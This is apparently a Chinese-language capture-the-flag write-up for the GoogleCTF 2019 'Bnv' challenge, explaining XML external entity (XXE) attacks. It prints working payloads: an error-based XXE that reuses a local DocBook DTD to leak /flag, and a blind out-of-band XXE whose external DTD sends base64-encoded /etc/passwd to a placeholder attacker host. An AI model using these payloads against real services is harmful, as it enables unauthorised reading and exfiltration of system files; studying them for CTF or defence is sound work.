目录
[GoogleCTF2019 Quals]Bnv
写在前面
有回显的XXE
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
无回显的xxe:
dtd文件:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://ip/?%file;'>"
>
%all;
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://ip/dtd">
%dtd;
%send;
]>
回到这个题
有json的地方不妨试试XXE
抓包发现这个是个json的回显
修改一下xml和上传格式之后,发送,发现有回显
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY xxe "135601360123502401401250">
]>
<message>&xxe;</message>
再尝试读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY b "135601360123502401401250">
<!ENTITY % Ezpop SYSTEM "file:///etc/passwd">
%Ezpop;
]>
<message>&b;</message>
回显却是,在标记处检测到错误。
说明,文件被加载了,但是被xml中断了。
加载/flag,报错一致,说明/flag文件存在,接下来就是考虑如何读取。
It works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.
这能正常工作是因为xml实体都是常数,如果定义了两个实体为同一个名字,则只有第一个实体会被使用。
而在题目中,读取了一个错误的实体,会返回完整的实体名。
假设第一次读取**/flag实体,第二次把/flag的里的值当做实体来读取,明显/flag的里的值**这个实体不存在,然后就会报错返回,这样就拿到flag了。
- 使用DTD来加载
其中
表示chr(0x25)
的意思。
首先用/flag
中的值作为变量,将变量file
拼接到目录名。
注意,这一部分是内部引用的部分,要写入DTD中的,所以%需要编码操作
Comments | NOTHING